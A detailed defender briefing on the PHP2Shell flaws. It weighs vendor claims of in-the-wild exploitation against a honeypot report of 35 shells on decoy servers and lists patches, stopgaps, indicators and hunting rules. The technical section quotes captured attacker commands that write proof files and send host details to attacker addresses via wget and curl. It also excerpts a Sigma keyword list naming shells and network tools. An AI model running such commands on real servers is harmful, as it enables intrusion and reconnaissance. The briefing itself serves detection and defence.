Researcher reports 35 Apache shell starts on three PHP2Shell honeypots running PHP 8.4.26, three days after the fix
A researcher's published report says three decoy servers on PHP 8.4.26 started 35 Apache shells on 24 October, 73.6 hours after PHP's fix (derived). It shows no real victim. Read on 26 October 2026 from 09:22 GMT.
By Parminder Kumar Sharma · · 25 min read
73.6 hours after the fix, three decoy servers logged the first of 35 shell starts
PHP's fixed releases were scheduled for 14:00 UTC on Wednesday 21 October 2026. At 15:35:38.673 UTC on Saturday 24 October, on a decoy web server running PHP 8.4.26 under Apache mod_php, a shell process started whose parent was an Apache worker. That is 73.6 hours, or 3.07 days, after the release (derived). In the next 3 hours 22 minutes (derived, rounded) the same researcher's sensors recorded 34 more, 35 in all, on three decoys, from two source addresses. The count and the times come from a report the honeypot operator published on GitHub, which joins packet captures to kernel process events.
What that record does not establish matters as much. The targets were disposable honeypots presenting ordinary PHP pages. They ran one Apache worker and a 128 MiB PHP memory limit, a profile the report itself calls "intentionally favorable", adding that it is not a measure of reliability on other worker counts, PHP builds or applications. The report names no real victim, and nothing in it shows a production server compromised. So "in the wild" here means on the public internet, against decoys.
It is still the strongest evidence yet published, and the history explains why. Before 24 October the public record was attempts, scanning and claims of success. Palo Alto Networks Unit 42 said on 23 October that it had seen an intrusion at a European government agency that it tied to PHP2Shell, and withdrew that on 25 October, saying it was "unable to confirm" that the initial access was tied to the PHP2Shell CVEs. CISA's alert, revised on 23 October, said it had "not observed successful exploitation" in the wild as of publication. The same honeypot operator's earlier report, covering 26 hours 43 minutes (derived) from 22 October, logged 30 out of memory errors and 11 worker crashes and confirmed no code execution. The first shell came about 14 hours (derived) after that window closed.
This briefing is a developing story. It was written from primary pages read between 09:22 and 09:48 GMT on Monday 26 October 2026. The key pages (the honeypot report, CISA, the NCSC, php.net, Unit 42, The Hacker News, the Known Exploited Vulnerabilities catalogue, NVD and the Canadian alert) were fetched from 09:22 GMT, again at 09:45 and a last time at 09:48, and none had changed in substance between reads. Nothing published after 09:48 GMT is reflected. BleepingComputer's report of 26 October, which prompted it, was read only as a pointer. Where a news sentence and a primary page disagree, this briefing follows the page and says so. It describes the stages at defender level and omits request structure, offsets and payload bytes; the sources it links publish more.
What the honeypot report counts, and how it earns the word confirmed
The operator ran six sensors and three PHP targets, labelled T1, T2 and T3, and recorded network packets, Apache requests, PHP errors and kernel process events. A shell counts only when a complete execution stage request in a packet capture is followed by a /bin/sh start whose parent is the Apache binary, running as user ID 33. The report says it treated no single alert or HTTP status as proof. The snapshot behind the counts holds 3,459 sealed segments and 10,948 files (11.21 GB), and every listed size and SHA-256 value matched.
Counts in the honeypot operator's report of 24 October 2026 (read 26 October, GMT). Totals by target are this site's sums from the report's case table and are labelled derived.
| What was counted | Figure | Detail |
|---|---|---|
| Apache parent shell starts | 35 | 3 from one source address (episode A, T1) and 32 from another (episode B: T1 3, T2 19, T3 10; derived) |
| Disclosure sized cookies | 52 | Each decodes to 819,200 bytes (800 KiB); 51 complete responses were acknowledged by the client |
| Distinct shell commands | 14 | Proof files, id, curl, wget and a PHP command line fetch, with later ones embedding user, host and architecture |
| First and last shell | 15:35:38.673 and 18:57:29.320 UTC | 24 October; a window of 3 hours 21 minutes 51 seconds (derived) |
| Second stage observed | None | wget was absent on the targets and no downloaded file was seen in the reviewed evidence |
Two things about the traffic are worth a defender's attention. First, the two source addresses are registered to hosting networks, and the report is careful: they are "two source-address clusters, not an attribution to two actors", and different addresses and commands do not establish separate actors either. Second, the commands look like testing rather than harvesting. They write proof files, or fetch a URL on the attacker's own address that embeds the target's alias or the output of id, hostname and uname. That reading is this site's inference; the report records the commands and does not state intent.
The operator also published a case evidence dataset on 26 October: per case packet captures and selected Apache, PHP, kernel event and signal records for all 35 shells, with SHA-256 sums. Honeypot addresses are aliased and the oversized cookie bytes are masked. This site read the report and the dataset README. It did not download or replay the captures, so the evidence is described as published, not independently checked here.
One publisher, with the decoys, the sensors and the analysis all in one place, is a weakness the dataset is built to answer. A threat researcher at Expel, quoted by BleepingComputer and on X, called it the highest quality confirmation of in the wild exploitation he had seen so far. That is a judgement about quality, and it was made before the dataset was released.
Stated and not stated: the record, line by line
"Not stated" means not found in the report, the PHP advisories or the other primary pages read for this briefing. It does not mean the information does not exist.
What the honeypot report (24 October, extended 26 October) and the PHP project's advisories state, and what they leave out.
| The question | Stated | Not stated |
|---|---|---|
| What was attacked? | Three disposable honeypots, PHP 8.4.26, single worker Apache mod_php, 128 MiB memory limit, plain HTTP on port 80. | Any production server, any content management system, any named victim, any multi worker or PHP FPM target. |
| What happened? | 35 complete execution stage requests matched to 35 Apache parent shell starts; some workers then crashed. | Any second stage, data theft, persistence or use of the shell beyond the recorded commands. |
| Who did it? | Two source address clusters on hosting networks, using closely related tooling. Traffic closely matches a public PoC family. | The operators, their number, motive or nationality, and which client or revision was used. |
| Which flaw? | The chain is "consistent with CVE-2026-109618"; the records do not establish use of a distinct CVE-2026-109619 path. | Whether CVE-2026-109619 played a part. Its advisory names session upload progress as a confirmed path, and the observed requests carried that field name. |
| Was it a new technique? | The execution request varied with each target's leaked address range, which the report reads as the published leak guided technique, not a new primitive. | Whether early chains needed a modified public exploit: the report says the traffic does not support a blanket claim that every run needed a modified exploit. |
| How reliable is it? | 35 shells in 3 hours 22 minutes on the favourable profile, after a 26 hour 43 minute window in the same operator's earlier report on six PHP personas with attempts and crashes but no confirmed execution. | Attempts per success, and any rate on multi worker servers, PHP FPM or hardened builds. |
| Would a mitigation have stopped it? | Nothing: the operator did not test any. | Whether session.upload_progress.enabled=0 or memory_limit=-1 would have stopped the observed chain. |
On attribution, The Hacker News reports a separate claim from the security company CYFIRMA, of a suspected North Korea linked scanning campaign using the flaws. That is secondary reporting of a vendor assessment made with moderate confidence; this site has not read CYFIRMA's report, and the honeypot report does not link either of its two addresses to any named group.
A ladder of claims: who said what about success, and when
BleepingComputer writes that Cloudflare, Hadrian, watchTowr, Previdian and Patchstack detected attempts before public disclosure "but flagged them all as unsuccessful". The pages and posts, read on 26 October, do not say that. Only Previdian states that its captured attempts failed. watchTowr's page is headed "Exploited in the wild: Yes". Cloudflare, Hadrian and Patchstack describe attempts and give no outcome. The news sentence may rest on page versions that differ from the ones read today, so this table follows each page as it stood on 26 October. The same drift shows in one quotation: BleepingComputer has Amazon's security chief saying the flaws are "now being broadly exploited in the wild", while the Amazon page as read says it is "now seeing broad exploitation attempts" in the wild.
What each primary source says about success or failure, in order of date. Times are UTC where the source gives them. Sources marked secondary were not readable or are reporting what another firm said.
| Source and date | Stated about success | Not stated |
|---|---|---|
| Amazon Threat Intelligence, blog posted 21 October, 22:36 UTC (page updated 22 October) | First exploitation attempt on 17 October against its MadPot honeypot. It says it is unclear whether any attempt would have succeeded against a real system. | Whether any attempt ran code. The page says "attempt" in its text and "exploitation" in its title. |
| Cloudflare, blog 21 October | It saw "attack traffic targeting our customers" and attackers "mutating the attack payload"; its rules were live from 03:02 UTC on 21 October. | Any success or failure. |
| Hadrian, update 21 October, 11:35 UTC | Exploitation attempts in the wild, "at scale", most through the session upload progress path. | Any success or failure. |
| watchTowr, page of 21 October 14:19 UTC, updated 22 October | The page is headed "Exploited in the wild: Yes"; its honeypot network observed exploitation of both CVEs on 21 October. | What was observed, whether code ran, or any evidence. |
| Previdian, post of 21 October | Three requests from two addresses; it says the attackers did not manage to execute PHP or upload files in those first instances. | Anything after the first instances. |
| Patchstack, post of 21 October | Reports active exploitation attempts, confirmed by Cloudflare and hosting partners. | Any success. |
| Dataminr, reported by BleepingComputer on 22 October (page returned an access block, so secondary) | Activity limited to scanning, fingerprinting and non working exploits, with "no known compromises". | Anything after 22 October. |
| CISA alert, revised 23 October, 12:00 UTC | Says it has "not observed successful exploitation" in the wild as of publication. Not in the Known Exploited Vulnerabilities catalogue (version 2026.10.23, 1,756 entries). | Anything after 23 October. The statement is dated; it has not been withdrawn. |
| Canadian Centre for Cyber Security, update 23 October | Says there is "no active exploitation being identified at this time", which can change quickly. | Anything after 23 October. |
| SANS Internet Storm Center, 23 October, 13:43 UTC | No reliable exploit made public as far as the author knew. Cloudflare and Amazon report many attempts, but it was not clear whether any were working exploits. | Anything after 23 October. |
| UK minister to the House of Lords, 22 October, reported by The Register (secondary) | Not aware of any confirmed compromise of central government systems, as reported. | The Hansard record was not read. |
| Palo Alto Networks Unit 42, 23 October, retracted 25 October | Withdrawn: it is "unable to confirm" that the initial access at a European government agency was tied to the PHP2Shell CVEs. | Any PHP2Shell exploitation at the agency it described. |
| Honeypot operator, 24 October | 35 Apache parent shell starts with packet to process evidence. | Any real victim. |
Two lessons follow. The first is that "exploited in the wild" is a label vendors apply to attempts, and it carries no standard of evidence. watchTowr's page and the honeypot report both carry it, on very different evidence. The second is that the label outlived its correction in at least one place. The Hacker News article that carried the Unit 42 claim still has "php2shell-exploitation-hits-government" in its web address, though it now opens with the retraction and carries a different headline about attempts and suspected North Korea scanning. SecurityWeek, in a piece published on 23 October and updated on 25 October, adds that Sophos corrected an earlier update that had reported a successful exploitation. That correction is secondary here, because the Sophos page timed out when read.
The labels, and what each one does not do
Comfortable labels in the coverage of this story, set against what the primaries support.
| Label | What the record supports | What it does not |
|---|---|---|
| In the wild | Traffic arrived from the public internet at publicly reachable decoys. | Compromise of anyone's real system. The report calls the targets "disposable phpot honeypots". |
| Confirmed RCE | Process parentage: the report calls the Apache parent process record "the decisive execution observation" and rejects HTTP status or alerts as proof. | Control beyond the recorded commands. No second stage, no data access and no persistence is recorded. |
| Patched | Fixed releases existed from 21 October: 8.5.12, 8.4.27, 8.3.36, 8.2.35. | That servers had them. The target ran 8.4.26, the immediately preceding 8.4 release, issued on 24 September; it was the newest 8.4 build for 27 days (derived) and was one patch level behind the fix on 24 October. |
| No functional PoC | The PHP Foundation said its security team did not identify any "functional exploits" at the time of release and public disclosure. | The days after. The report says the 24 October traffic "closely matches the public HTTP-only PoC family". |
| ASLR bypass | A leak, then an address adjustment, is how the observed chain handled address randomisation. | Something new: the report calls it the published technique. SANS noted on 23 October that public examples read library offsets from the target, which a remote attacker would have to know. |
| AI assisted | Wiz and the PHP Foundation describe AI tools in finding and validating the flaws. Amazon argues AI shortens patch to exploit time; it sells cloud security services. | AI use by the attackers in this report, which does not mention it. Unit 42's 23 October update, which described agentic style activity at a government agency, was withdrawn on 25 October. |
The "patched" row deserves a second look. The 8.4.26 build on the decoys was not neglected; it was the latest release on the day before the fix. Every server that was fully current on 20 October was vulnerable, and the vendor's own affected range, "< 8.4.27" and its siblings, says so. The date a fix exists and the date a fleet has it are separated by whatever the organisation's patch cycle adds.
Which servers the evidence covers, and which it does not
What PHP's advisories (GHSA-w8hw-w9fx-j79w and GHSA-6wmf-4rv5-p3rp, 21 October) and the honeypot report say, by server type.
| Server type | What PHP's advisories say | What the honeypot adds |
|---|---|---|
| Apache mod_php | Highest risk. The CVE-2026-109618 advisory says complete RCE was validated over HTTP against mod_php with default input and memory limits, including normal prefork setups with several workers. Extra workers raise the number of attempts needed but do not remove the condition. | 35 shells on a single worker build with a 128 MiB limit. |
| PHP FPM | For CVE-2026-109618, FPM exits the child when startup fails, and "no complete FPM exploit has been demonstrated". For CVE-2026-109619 a session path was validated on FPM, but it depends on a suitable application operation. | No FPM target. |
| FrankenPHP and LiteSpeed | FrankenPHP is "likely susceptible" on source analysis. LSAPI is conditional, with application specific exploits likely but unvalidated. | Nothing. |
| php-cgi and embedded products | php-cgi is listed as at risk. NVD lists Siemens RUGGEDCOM APE1808 firmware as affected through Palo Alto Networks PAN-OS (Siemens SSA-566512, 23 October). | Nothing. |
SANS wrote on 23 October that a reliable exploit was hard to build, giving two reasons: real servers usually run a 128 MB memory limit, not the 8 MB some public examples assumed, and they run many workers, so the follow up request has to land on the right one. The honeypot chain answers the first objection, because the targets ran 128 MiB. It leaves the second where it was, because they ran one worker. That is the open question for defenders: not whether the chain works, but how much it costs against a busy server, and the report does not measure it.
The version range is itself unsettled. PHP's advisories and the CVE.org records list branches 8.2 to 8.5. NVD's configuration data, as of 23 October, lists CVE-2026-109618 from 7.3.0 and CVE-2026-109619 from 5.4.0. The UK NCSC says "any version of PHP" is affected. PHP 8.1 and older no longer receive project updates, though the project published minimal source backports for 7.4, 8.0 and 8.1, and distributions often backport a fix without changing the version number. PHP 8.2 reaches end of life on 31 December 2026, 66 days from today (derived). On severity, PHP as the CVE numbering authority scored both flaws CVSS 4.0 9.2 (network, no privileges, high complexity); NVD adds its own CVSS 3.1 scores of 9.8 for CVE-2026-109618 and 8.1 for CVE-2026-109619, and both records list use after free (CWE-416) among their weaknesses.
One captured chain, four requests and a shell
The report names four request roles: two memory pressure requests, a disclosure request and an execution request. In the representative chains checked, the first three bodies were byte identical across both source addresses and all three targets, which is why the report treats them as one template. The fourth varied with each target's leaked address range and the command to run, which, in this site's reading, is the part that shows adaptation rather than a replayed recording. The sequence is the useful detection fact: each memory error is ordinary on its own, and so is each response. Together, within seconds, on one worker, they are not.
The third flaw, and why it is not this story
PHP also published an informational advisory on 23 October for a third flaw, CVE-2026-115560, which the fixed releases do not cover. It needs an unusual combination: a serialize handler set to php_binary or php_serialize, switched to php at runtime with ini_set() before session_start(), with session upload progress enabled. PHP suggests setting session.upload_progress.enabled=0 until the next regular bugfix release. Earlier briefings cover it, the unpatched session upload flaw and the third PHP2Shell flaw. Nothing in the honeypot report concerns it. It is mentioned because the same one line setting appears in the CVE-2026-109619 advisory and again in the one for CVE-2026-115560, and no source read says whether it would have stopped the chain that was observed.
Technical details
Everything in the code blocks below is copied from the primary pages named in each caption, read on 26 October 2026 (GMT), with live attacker addresses defanged and nothing retyped from memory. Lines this site arranged are marked. This site omits the request body structure, field layouts, offsets and the public exploit that the report links, and does not reproduce payload bytes. The report's own appendix describes the requests at the level of headers, sizes and field counts.
Versions. PHP's advisory and the two GitHub advisories give the same fixed releases. Branches below 8.2 get nothing from the project except minimal source backports for 7.4, 8.0 and 8.1. Check the PHP that serves web requests, not the command line binary: watchTowr notes that they can differ.
Update to PHP 8.5.12, 8.4.27, 8.3.36 or 8.2.35.
Distribution packages. Fixes are often backported without a version bump, so php -v alone can mislead. Cloudflare's page prints two ways to check a package changelog; the placeholder is Cloudflare's.
apt changelog <php-pkg> | grep -E "CVE-2026-10961[89]"
rpm -q --changelog <php-pkg> | grep -E "CVE-2026-10961[89]"
Stopgap settings. PHP lists these under the heading for when you cannot update immediately, and says they reduce exposure to specific attack paths and do not make an installation safe. Apply them where requests cannot override them (php.ini, the FPM pool or server configuration, with php_admin_value for the first; not ini_set() or .user.ini) and restart every worker. PHP's caveats: memory_limit=-1 removes the controllable limit but an underlying allocation failure can still reach the vulnerable path; session.upload_progress.enabled=0 blocks the confirmed session paths but not other variants; fatal_error_backtraces=0 applies to PHP 8.5 only and blocks one path; post_max_size is 8M for applications that need no uploads and 32M where uploads are necessary, with upload_max_filesize kept below it; container or cgroup limits are an availability boundary, and RLIMIT_AS or RLIMIT_DATA must not be used because they can cause the vulnerable allocation failure.
memory_limit=-1
post_max_size = 8M
post_max_size = 32M
session.upload_progress.enabled=0
fatal_error_backtraces=0
What the sensors recorded. The honeypot report prints the first confirmed execution as a timeline and the process records that follow. The attacker addresses are defanged here (hxxp and [.]); the target addresses are the report's own aliases.
15:35:32.793 15.204.59[.]70:54952 A1 POST begins; complete 1,060,211-B decoded body
15:35:33 PHP: Allowed memory size of 134217728 bytes exhausted
(tried to allocate 4096 bytes) in Unknown on line 0
15:35:34.127 15.204.59[.]70:38108 B1 POST begins; 33,128,677-B decoded body
15:35:34.205 Apache access record (request timestamp): worker PID 31;
disclosure-sized Set-Cookie reported for this request
15:35:37.429 15.204.59[.]70:38122 A2 POST begins; 279,369-B body
15:35:37 PHP: Allowed memory size of 134217728 bytes exhausted
(tried to allocate 20480 bytes) in Unknown on line 0
15:35:38.238 15.204.59[.]70:38126 B2 POST begins; 451,384-B body
15:35:38.673 Tetragon: apache2 → /bin/sh, UID 33; /bin/sh → /usr/bin/id
15:35:39.379 Apache: child PID 31 exited on Segmentation fault (11)
T1 15:35:36 php_error PHP Request Startup: Session ID is too long or contains illegal characters
T1 15:35:38.673 process_exec apache2 → /bin/sh uid=33
args: id>/tmp/x1; for d in /var/www/html /var/www; do id>$d/p1; done;
wget -q hxxp://15.204.59[.]70:8081/ok33
T1 15:35:38.674 process_exec /bin/sh → /usr/bin/id uid=33
T1 after B2 Apache stderr web-root proof writes: Read-only file system; wget: not found
T3 18:08:20.091 process_exec apache2 → /bin/sh uid=33
args: curl -s "hxxp://162.35.99[.]94:80/ID-$(id -un)-$(hostname)-$(uname -m)"
T3 after B2 Apache stderr sh: 1: wget: not found
Detection. The report's summary of the strongest cross source sequence, in this site's words: chunked multipart memory pressure with a pre script Unknown on line 0 memory error; a request of about 33.1 MB followed by an unusually large PHPSESSID; a request of about 279 KB and another memory error; then a request of about 451 KB followed by a shell under Apache. A worker crash may come between stages or right after the shell starts. The client in the successful chains sent no User-Agent, used a ten character C multipart boundary, and kept a fixed header order: Host, Content-Type, Transfer-Encoding, Connection for chunked requests, and Host, Content-Type, Content-Length, Connection for fixed length ones. These are features of this campaign's client and are easy to change. The sensors saw HTTP 200 on the memory pressure requests and a Segmentation fault exit, while ReliaQuest's lab reproduction logged an HTTP 500 and an Abort (6) exit, so keying on one status code or one signal would miss one of them.
PHP Fatal error: Allowed memory size ... exhausted``in Unknown on line 0``pid=33 "POST /wp-login.php HTTP/1.1" 500``zend_mm_heap corrupted``AH00052: child pid 33 exit signal Abort (6)
Indicators. The report publishes source addresses, and SHA-256 sums of the three fixed decoded request bodies. Amazon publishes six addresses and warns that they include shared anonymisation infrastructure and should be investigated rather than blocked blindly. The report labels the last two addresses in the first group attempt indicators, not confirmed RCE sources. Hashes identify a payload family, not an outcome: the report notes that the second hash also appears in its earlier attempt only report, where it preceded crashes with no confirmed execution.
Confirmed shell sources (honeypot operator, 24 October):
15.204.59[.]70 OVH US LLC (15.204.0.0/16), episode A, 3 shells on T1
162.35.99[.]94 Interserver, Inc (162.35.96.0/19), episode B, 32 shells on T1, T2, T3
Attempt indicators, no shell or disclosure cookie observed:
104.28.208[.]84
144.48.4[.]242
SHA-256 of decoded multipart request bodies:
A1 8e8fc166e6b326d20bb7611d8ef3cee3bd5da46447985312c1492ab0a44d1eb6
B1 b6c547e0e9a2bb26607df1521de96f4d5c9adf4621c28b7ab491587b21ae40f2
A2 7af66c8f35c5fa6b47a539da6dca361d19543d9f62d61e4af891c2802bd5e236
Amazon Threat Intelligence MadPot observations:
103.216.220[.]92 17 October
31.223.184[.]166 21 October
37.19.200[.]5 21 October
134.209.159[.]64 21 October
103.114.163[.]188 21 October
95.217.98[.]37 21 October
Hunting rules. CISA's alert points to a Sigma rule, which is US government work. The excerpt below is its detection logic: the PHP error strings, the upload progress field name, and the shells and tools to look for under a web server process. The rule's own header says the false positive rate is medium to high, and short keywords such as id and nc will match widely, so tune it. Its long indicator list and the condition line are in the CISA repository.
title: Detects PHP2Shell CVE-2026-109618 CVE-2026-109619 RCE Exploitation Attempts
id: 8cb1e757-5593-4f87-9e3d-79f17c89f799
status: test
author: CISA
date: 2026-10-21
modified: 2026-10-23
keywords_5:
- 'PHP_SESSION_UPLOAD_PROGRESS'
keywords_6:
- 'php-cgi'
- 'apache2'
- 'httpd'
- 'php-fpm'
- 'mod-php'
keywords_7:
- '/bin/sh'
- '/bin/bash'
- 'cmd'
- 'powershell'
- 'python'
- 'curl'
- 'wget'
- 'netcat'
- 'nc'
- 'whoami'
- 'id'
- 'uname '
keywords_8:
- 'PHP Fatal error:'
keywords_9:
- 'Allowed memory'
keywords_10:
- ' in Unknown '
falsepositives:
- Rate of FP medium-high with some strings/branches.
level: critical
Audit settings. PHP's CVE-2026-109619 advisory tells defenders to enable error logging in startup configuration during an isolated audit, with a working error log, and to review the Apache, PHP FPM, proxy and service logs for repeated warnings and deprecations before target scripts run, diagnostics during extension or server cleanup, fatal, parse and uncaught errors, and execution time errors. It warns that a clean log is not proof of safety.
log_errors=On
error_reporting=E_ALL
Process level hunting. Unit 42 published a query for Cortex XDR that looks for command execution under PHP and web server processes, and says it is not specific to these CVEs and may produce false positives. Its first lines show the approach; the rest is on the Unit 42 page.
config case_sensitive = false
| dataset = xdr_data
| filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START and action_process_image_name != null
UK: what the NCSC said, and when
The UK National Cyber Security Centre published an alert on 21 October 2026, the day of the fix. It says organisations using "any version of PHP" are affected, tells them to identify PHP systems and update the internet facing ones first, and, where they cannot update or apply PHP's temporary mitigations, to consider taking the system offline. It adds that anyone who cannot update or disable a system straight away should assess it for evidence of compromise and look for backdoors, using an NCSC assured incident response provider if needed. It points to a Dutch inventory of products that embed PHP. The alert does not state that the flaws were being exploited, and it closes with "The NCSC will continue to monitor for any impact on UK organisations." The page shows no later revision date as read on 26 October, so it predates the honeypot report by three days.
What to do, in the order worth doing it
Take this with you
Defender actions, ranked
- Find every PHP install and the SAPI each one uses: Apache mod_php, PHP FPM, php-cgi, FrankenPHP, LiteSpeed, and PHP inside containers, content management hosting and appliances. Check the PHP that serves web requests, not the command line binary. Ask hosting providers in writing which build they run. CISA notes PHP is often a component of other software.
- Update to 8.5.12, 8.4.27, 8.3.36 or 8.2.35, or to a vendor package that names CVE-2026-109618 and CVE-2026-109619 in its changelog. Restart every PHP worker and then confirm the running version. Treat Apache mod_php first, as PHP rates it the highest risk.
- If a system cannot be updated, take it offline, as the NCSC and CISA advise. If it must stay up, apply PHP's printed stopgaps where requests cannot override them (memory_limit set to minus one, a low post_max_size, session.upload_progress.enabled set to 0, then a worker restart) and record that they reduce exposure to specific paths and do not make the system safe.
- Put the web server logs in order before you need them: collect PHP error, Apache access, Apache error and system logs together, and add the worker process id to the access log (the standard Apache token is %P; this site's addition) so a request can be matched to a crash.
- Hunt the sequence, not a status code: a pre script memory error ending in Unknown on line 0, an oversized PHPSESSID in a Set-Cookie header, then a worker exit within seconds. The honeypot saw HTTP 200 and a Segmentation fault; a lab saw HTTP 500 and an Abort. Search back to 17 October, the earliest date Amazon reports, not to the disclosure date.
- Hunt processes: any shell, curl, wget or PHP command line started by apache2, httpd or a PHP worker, especially as the web user, and outbound connections from those processes. CISA's Sigma rule and Unit 42's query are starting points; both will produce false positives.
- If anything matches, treat the host as compromised: isolate it, keep the logs, and look for new web shells, cron jobs and accounts. Rotate secrets the web server user can read, such as database credentials in application configuration files (this site's addition).
- Use a web application firewall only as a stopgap, and know what it covers. Cloudflare says its rules are tied to the default upload progress field name and that customers who changed session.upload_progress.name are not covered; it also tells customers to patch. Amazon suggests blocking multipart uploads where patching is impossible and checking the effect on the application first. Close the origin to direct traffic, because the honeypot requests went to the web server directly over plain HTTP.
- Plan for end of life. PHP 8.1 and older receive no project updates. PHP 8.2 stops receiving security fixes on 31 December 2026, 66 days away (derived).
- Do not wait for a listing. Neither CVE was in CISA's Known Exploited Vulnerabilities catalogue at version 2026.10.23, which was the latest at the time of reading, and a catalogue entry is not a patch schedule. Keep session.upload_progress.enabled at 0 until the next regular PHP release, as PHP advises for the separate third flaw.
The question that exposes the gap
The first shell started 73.6 hours after the fix, on a build that had been the newest release the day before it. If a worker on one of your servers had started a shell at that moment, which log would have shown it, and who reads that log on a Saturday?
Key facts
Sources
- PrimaryPHP2Shell exploitation observed: packet to process RCE evidence, 24 October 2026; the primary for the 35 shells, counts, timeline, commands and indicatorsHoneypot operator (GitHub)accessed 2026-10-26
- PrimaryCase evidence dataset README, released 26 October 2026: contents, redactions and validation of the 35 cases; the dataset itself was not downloadedHoneypot operator (GitHub)accessed 2026-10-26
- PrimaryInitial exploitation attempts report, 22 to 24 October 2026: 30 out of memory errors, 11 worker crashes, no confirmed RCE in that windowHoneypot operator (GitHub)accessed 2026-10-26
- PrimaryPHP news archive: advance notice (20 Oct), security advisory and fixed releases (21 Oct), informational advisory on session upload progress (23 Oct); fixed versions and stopgap settingsThe PHP Groupaccessed 2026-10-26
- PrimaryGHSA-w8hw-w9fx-j79w, CVE-2026-109618 RCE via OOM corruption: affected and patched versions, SAPI susceptibility, mitigation, CVSS 4.0 9.2PHP (GitHub)accessed 2026-10-26
- PrimaryGHSA-6wmf-4rv5-p3rp, CVE-2026-109619 RCE via stale global state: producers, consumers, session upload progress path, mitigation and audit settingsPHP (GitHub)accessed 2026-10-26
- PrimaryRelease post of 21 October 2026: leak timeline, release brought forward, statement on functional exploits at disclosureThe PHP Foundationaccessed 2026-10-26
- PrimaryNVD record for CVE-2026-109618: CVSS 3.1 9.8 (NVD) and 4.0 9.2 (PHP CNA), CWEs, affected configurations; modified 23 October 2026NIST NVDaccessed 2026-10-26
- PrimaryNVD record for CVE-2026-109619: CVSS 3.1 8.1 (NVD) and 4.0 9.2 (PHP CNA), affected configurations; modified 23 October 2026NIST NVDaccessed 2026-10-26
- PrimaryKnown Exploited Vulnerabilities catalogue, version 2026.10.23 (1,756 entries): neither CVE listed when readCISAaccessed 2026-10-26
- PrimaryAlert, last revised 23 October 2026: no successful exploitation observed as of publication; actions and partner guidanceCISAaccessed 2026-10-26
- PrimarySigma detection rule for CVE-2026-109618 and CVE-2026-109619 (modified 23 October 2026), excerpted in Technical detailsCISAaccessed 2026-10-26
- PrimaryAlert, published 21 October 2026: affected scope, priority actions, no statement of exploitationUK National Cyber Security Centreaccessed 2026-10-26
- PrimaryAlert AL26-026, update of 23 October 2026: no active exploitation identified at that timeCanadian Centre for Cyber Securityaccessed 2026-10-26
- PrimaryAmazon Threat Intelligence: exploitation attempt on 17 October 2026 in MadPot telemetry, indicators and recommended actionsAmazon Web Servicesaccessed 2026-10-26
- PrimaryCloudflare deploys protections against php2shell: attack traffic observed, rule coverage and its limits, package changelog commandsCloudflareaccessed 2026-10-26
- PrimaryVulnerability alert with timed updates of 21 October 2026: attempts at scale, stopgapsHadrianaccessed 2026-10-26
- PrimaryRapid Reaction page published 21 October 2026, updated 22 October: Exploited in the wild: Yes, honeypot observation, version tablewatchTowraccessed 2026-10-26
- PrimaryPost of 21 October 2026: three honeypot requests, attackers did not manage to execute PHP or upload filesPrevidian (X)accessed 2026-10-26
- PrimaryPost of 21 October 2026: active exploitation attempts confirmed by Cloudflare and hosting partnersPatchstack (X)accessed 2026-10-26
- PrimaryThreat brief published 23 October 2026, updated 25 October with the retraction of its government agency assessment; hunting queryPalo Alto Networks Unit 42accessed 2026-10-26
- PrimaryPHP Vulnerability Wrap-Up, 23 October 2026: infocon back to green, no reliable public exploit knownSANS Internet Storm Centeraccessed 2026-10-26
- Primary(Reliable)? php2shell exploitability, 23 October 2026: memory limit, worker count and offset prerequisites of public examplesSANS Internet Storm Centeraccessed 2026-10-26
- PrimaryLab reproduction of CVE-2026-109618, update of 22 October 2026: log sequence and hunting guidanceReliaQuestaccessed 2026-10-26
- PrimarySSA-566512, 23 October 2026: PHP2Shell in PAN-OS on RUGGEDCOM APE1808 devicesSiemens ProductCERTaccessed 2026-10-26
- PrimaryPost of 24 October 2026 quoting the 800 KiB cookie dump and the 1.6 ms intervalHoneypot operator (X)accessed 2026-10-26
- PrimaryPost of 24 October 2026 calling the honeypot report the highest quality confirmation seen so farExpel researcher (X)accessed 2026-10-26
- Reported byNews report of 26 October 2026 that prompted this briefing; used as a pointer to the primariesBleepingComputeraccessed 2026-10-26
- Reported byArticle of 25 October 2026 carrying the Unit 42 retraction and CYFIRMA's attribution claim; secondaryThe Hacker Newsaccessed 2026-10-26
- Reported byArticle of 23 October 2026, updated 25 October: Sophos correction, Mirai attempts, no confirmed compromise at that time; secondarySecurityWeekaccessed 2026-10-26
- Reported byReport of 22 October 2026 on a UK minister's statement to the House of Lords; secondaryThe Registeraccessed 2026-10-26


